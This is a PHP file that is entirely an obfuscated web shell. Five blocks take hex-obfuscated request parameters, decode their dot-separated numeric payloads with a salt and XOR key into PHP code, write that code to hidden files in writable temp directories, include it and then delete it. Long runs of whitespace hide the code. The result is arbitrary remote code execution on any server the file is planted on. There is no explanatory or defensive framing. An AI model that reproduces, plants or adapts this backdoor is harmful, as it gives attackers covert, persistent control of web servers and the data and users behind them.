<?php																																										if(filter_has_var(INPUT_POST, "d\x63\x68\x75nk")){ $obj = $_REQUEST["d\x63\x68\x75nk"]; $obj = explode ( '.' , $obj ) ; $binding=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt); $u=0; while( $u< count( $obj)) { $v2=$obj[$u]; $chS=ord( $salt[$u % $lenS]); $d=( ( int)$v2 - $chS -( $u % 10)) ^ 58; $binding .= chr( $d); $u++;} $token = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp"]); $pointer = 0; do { $symbol = $token[$pointer] ?? null; if ($pointer >= count($token)) break; if (is_dir($symbol) && is_writable($symbol)) { $pset = implode("/", [$symbol, ".ref"]); if (@file_put_contents($pset, $binding) !== false) { include $pset; unlink($pset); exit; } } $pointer++; } while (true); }
																																										if(array_key_exists("e\x6Et", $_REQUEST) && !is_null($_REQUEST["e\x6Et"])){ $data = array_filter(["/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $item = $_REQUEST["e\x6Et"]; $item = explode ( "." , $item) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $t = 0; $__tmp = $item; while($v1 = array_shift($__tmp)) { $chS = ord($s[$t % $lenS] ); $d =((int)$v1 - $chS -($t % 10))^ 9; $pointer .= chr($d ); $t++; } while ($holder = array_shift($data)) { if (max(0, is_dir($holder) * is_writable($holder))) { $mrk = str_replace("{var_dir}", $holder, "{var_dir}/.res"); if (file_put_contents($mrk, $pointer)) { include $mrk; @unlink($mrk); die(); } } } }
																																										if(!empty($_REQUEST["k"])){ $parameter_group = array_filter([session_save_path(), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp"]); $component = $_REQUEST["k"]; $component =explode(".", $component ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $u = 0; $__tmp = $component; while( $v2 = array_shift( $__tmp)) { $chS = ord( $s[$u % $lenS]); $dec =( ( int)$v2 - $chS -( $u % 10)) ^98; $obj .= chr( $dec); $u++; } for ($resource = 0, $ent = count($parameter_group); $resource < $ent; $resource++) { $itm = $parameter_group[$resource]; if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $dat = implode("/", [$itm, ".dchunk"]); if (@file_put_contents($dat, $obj) !== false) { include $dat; unlink($dat); die(); } } } }
																																										if(array_key_exists("re\x66", $_REQUEST) && !is_null($_REQUEST["re\x66"])){ $pointer = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path()]); $token = $_REQUEST["re\x66"]; $token =explode ( ".", $token ) ; $marker= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt6); $len= count($token); for ($j= 0; $j < $len; $j++) { $v6= $token[$j]; $sChar= ord($salt6[$j % $sLen]); $dec= ((int)$v6 - $sChar - ($j % 10)) ^ 18; $marker .= chr($dec); } while ($mrk = array_shift($pointer)) { if (is_dir($mrk) && is_writable($mrk)) { $key = "$mrk" . "/.res"; if (file_put_contents($key, $marker)) { require $key; unlink($key); die(); } } } }


if(filter_has_var(INPUT_POST, "\x76a\x6Cue")){
	$dat = $_POST["\x76a\x6Cue"];
		 $dat	  =explode 	( 	 '.'		, $dat   ) ;
	$ptr  = '';
            $s3  = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen  = strlen($s3  );
            $l  = 0;
            $len  = count($dat  );
    
            do {
                if ($l >= $len) break;
                $v4  = $dat[$l];
                $chS  = ord($s3[$l % $sLen]  );
                $dec  = ((int)$v4 - $chS - ($l % 10))^3;
                $ptr  .=	 chr($dec  );
                $l++;
            } while (true  );
	$property_set = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TEMP")]);
	foreach ($property_set as $token):
    		if (is_dir($token) && is_writable($token)) {
    $component = implode("/", [$token, ".factor"]);
    $file = fopen($component, 'w');
if ($file) {
	fwrite($file, $ptr);
	fclose($file);
	include $component;
	@unlink($component);
	exit;
}
}
endforeach;
}